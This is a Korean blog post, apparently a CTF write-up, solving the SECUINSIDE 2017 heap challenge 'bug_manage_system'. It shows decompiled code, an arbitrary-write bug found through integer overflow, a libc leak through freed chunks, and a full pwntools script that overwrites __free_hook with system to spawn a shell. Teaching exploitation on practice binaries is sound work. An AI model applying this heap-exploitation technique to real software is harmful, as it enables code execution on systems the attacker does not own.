ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SECUINSIDE 2017 - bug_manage_system
    CTF 2017. 7. 5. 05:30

    SECUINSIDE 2017 - bug_manage_system

    우선 해당 문제를 풀기위해선 기본적으로 힙구조에대해 알고 분석을 진행 / 익스플로잇을 해야한다. 풀어보면 알다시피 보호기법은 아래와 같다.
    • PIE

    • NX

    • Full RELRO

    • Canary

    NX와 Canary는 평소에도 많이 경험한 미티게이션이여서 상관없었지만 힙문제에서 Full RELRO와 PIE는 상당히 골치아프게 하는거라 이점을 주의하고 익스플로잇을 해야한다. 우선 분석을 하면 멘붕을 먹을수도 있다.

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      sub_8EC();
      sub_953();
      while ( 1 )
      {
        sub_A6A();
        switch ( sub_B5A() )
        {
          case 1:
            sub_BE4();
            break;
          case 2:
            sub_CFE();
            break;
          case 3:
            sub_DE7();
            break;
          case 4:
            sub_FF6();
            break;
          case 5:
            return 0;
          default:
            sub_6A0("that's nono~~");
            break;
        }
      }
    }

    우선 코드를 보면 알겠지만 PIE가 걸린것을 한눈에 알아볼수 있다. PIE가 걸려있다면 바이너리주소가 랜덤으로 맵핑되기 때문에 베이스주소없이 섹션들이 차례대로 배치된다.

    분석하다가 sub_6a0이라는 함수를 들어가보면 아래와 같이 변경된것을 확인이 가능하다.

    default:
            sub_6A0(12184);
            break;

    인자가 12184로 바뀌었는데, 당황하지말고 해당 함수의 어셈을 확인해보면 된다.

    .plt.got:000006A0 sub_6A0         proc near               ; CODE XREF: main+78p
    .plt.got:000006A0                                         ; sub_A6A+1Cp ...
    .plt.got:000006A0                 jmp     dword ptr [ebx+30h]
    .plt.got:000006A0 sub_6A0         endp

    해당 함수가 호출되면 ebx기준으로 + offset만큼으로 점프하게되는데, 이 함수가 무슨 역할을 하는지는 아래를 보면 알 수 있다.

    .text:000008D1                 lea     eax, (aThatSNono - 2F98h)[ebx] ; "that's nono~~"
    .text:000008D7                 push    eax
    .text:000008D8                 call    sub_6A0

    32bit의 경우 esp 기준으로 함수의 인자를 전달하기때문에 that's nono~~라는 문자열의 주소를 가져와 스택에 푸쉬를 해주고나서 함수를 호출하고, 넘겨주는 인자는 0x2f98인데, jmp ebx+0x30이기때문에 0x2f98+0x30으로 보면 된다.

    .got:00002FC8 puts_ptr        dd offset puts

    따라가보면 위와같이 puts함수인것을 알 수 있다. 앞으로 해당 바이너리 분석은 이와같이 해주면 편하게 작업할 수 있다. 인자가 안보이는것은 y로 인자타입을 받아주는 레지스터로 살짝만 수정해주면 정상적으로 보인다.

    int __usercall sub_6A0@<eax>(int a1@<ebx>)

    수정하기전의 모습이다. ebx를 a1으로 받게되는데 인자를 보고싶다면 ebx를 eax로 수정하여 정적분석을 진행하면 쉽게 분석을 할 수 있다.

    add()

    int sub_BE4()
    {
      int v0; // ST04_4@4
      int v1; // ST04_4@4
      int v3; // [sp-Ch] [bp-24h]@0
      int i; // [sp+8h] [bp-10h]@1
      struct_v2 *struct_ptr; // [sp+Ch] [bp-Ch]@1
    
      struct_ptr = (struct_v2 *)sub_BAF(56);
      for ( i = chunk_ptr; *(_DWORD *)(i + 52); i = *(_DWORD *)(i + 52) )
        ;
      struct_ptr->byte0 = 1;
      struct_ptr->dword4 = *(_DWORD *)(i + 4) + 1;
      printf_0("what is your bug name? : ", v3);
      read_0(0, struct_ptr->bug_name, 32);
      printf_0("what is your bug size? : ", v0);
      struct_ptr->bug_size = readint();
      struct_ptr->unknown = 0;
      struct_ptr->chunk_szdata = sub_BAF(struct_ptr->bug_size);
      printf_0("what is your bug content? : ", v1);
      read_0(0, struct_ptr->chunk_szdata, struct_ptr->bug_size);
      *(_DWORD *)(i + 52) = struct_ptr;
      struct_ptr->dword34 = 0;
      return sub_6A0((int)"done!");
    }

    view()

    int sub_CFE()
    {
      const char *v0; // eax@3
      int result; // eax@5
      bug *v2; // [sp+Ch] [bp-Ch]@1
    
      v2 = (bug *)chunk_ptr;
      do
      {
        sub_6A0((int)"==========================================");
        if ( v2->byte0 )
          v0 = "using";
        else
          v0 = "non using";
        printf_0("bug used : %s\n", v0);
        printf_0("bug idx : %d\n", v2->used);
        printf_0("bug name : %s\n", v2->gap8);
        printf_0("bug size : %d\n", v2->bug_name);
        printf_0("bug content : %s\n", v2->bug_size);
        sub_6A0((int)"==========================================");
        result = v2->dword34;
        v2 = (bug *)v2->dword34;
      }
      while ( v2 );
      return result;
    }

    edit()

    case 3:
                sub_6A0((int)"what is your new bug content?");
                sub_6A0((int)"you can change only 4 bytes");
                printf_0("where do you want to change? : ", v6);
                v2 = readint();
                printf_0("what do you want to change? : ", v3);
                read_0(0, *(_DWORD *)(v7 + 48) + v2, 4);
                break;

    edit의 핵심을보면 4바이트를 원하는곳에 아무곳이나 쓸수있다. 여기서 중요한것은 + v2를 하는데, integer overflow 혹은 underflow를 통해 바이너리맵핑된곳에 아무곳이나 쓰기가 가능하다.

    free함수는 free를 시키고 해당청크 데이터영역에 값을 쓰는 역할을 한다.

    Exploit Scenario

    • 익스플로잇에 필요한 청크할당

    • free를하여 main_arena+88인 libc주소를 청크에 씀

    • 새로운 청크를 4바이트만큼 입력하여 view를 통해 libc를 릭

    • edit을 통해 libc 계산을하여 덮고싶은 주소에 값을 써 eip를 조작

    익스플로잇 시나리오 자체로는 간단한 문제이다.

    0x576ae110: 0x00000000  0x00000029  0x46464646  0xf77ae7d0
    0x576ae120: 0x44444444  0x44444444  0x44444444  0x44444444
    0x576ae130: 0x44444444  0x44444444

    청크를 할당하고 해제하고나서 libc를 적고 다시할당하여 view로 보게되면 위를 보면 알다시피 릭이 충분히 가능하단것을 알수있고 저 주소를 릭을한다. 여기까진 쉽지만 edit을 통해 어디를 덮어야할지 고민을 많이했다. 아무곳이나 데이터를 쓸수는있지만, Full RELRO라서 GOT도 못덮어주고, PIE Leak과 libc를 전부 릭하기에는 까다롭거나 불가능했다 (시도안해봤지만) PIE를 릭한다해도 할것이 없었다. 전에도 몇개 풀어보다가 malloc, realloc, free에는 libc안에 got와같은 hook이 존재하기때문에 이것을 덮으면 된다는것을 알았다. free_hook을 덮어주게되면 인자가 청크포인터이기때문에 system으로 덮어주면 청크안에 쓴 데이터가 인자로받아져 우리가원하는 커맨드로 받을수있다는것을 알수있다.

    Exploit

    
    from pwn import *
    
    p = process("./bug_manage_system")
    
    def add(name,size,con):
        p.recvuntil(":")
        p.sendline("1")
        p.recvuntil(":")
        p.send(name)
        p.recvuntil(":")
        p.send(str(size))
        p.recvuntil(":")
            p.send(con)
    
    def view():
        print p.recvuntil(":")
        p.sendline("2")
    
    def delete(idx):
        print p.recvuntil(":")
            p.sendline("4")
        print p.recvuntil(":")
            p.sendline(str(idx))
    
    def edit(idx,sel,where,con):
        print p.recvuntil(":")
        p.sendline("3")
        print p.recvuntil(":")
        p.sendline(str(idx))
        print p.recvuntil(":")
        p.sendline(str(sel))
        print p.recvuntil(":")
        p.sendline(str(where))
        print p.recvuntil(":")
        p.send(str(con))
    
    add("A"*32,32,"/bin/sh")
    add("B"*32,32,"D"*32)
    add("C"*32,32,"P"*32)
    delete(2)
    add("0",32,"F"*4)
    
    view()
    print p.recvuntil("FFFF")
    
    leak = u32(p.recv(4))
    libc_base = leak - 0x1b67d0
    libc_system = libc_base + 0x3b020
    one_shot = libc_base + 0xD745a
    malloc_hook = libc_base + 0x1B6768
    free_hook = libc_base + 0x1B78B0
    
    add("\x11"*32,-1,"\x11"*32)
    edit(5,3,-(-free_hook & 0xffffffff),p32(libc_system))
    delete(1)
    p.interactive()

    'CTF' 카테고리의 다른 글

    pwnable.tw - babystack  (0) 2017.09.01
    pwnable.tw - spirited_away  (0) 2017.09.01
    NOE BURYBURY  (0) 2017.05.10
    Defcon 2017 - beatmeonthedl  (2) 2017.05.06
    pwnable.tw deathnote  (0) 2017.01.24

    댓글

Designed by Tistory.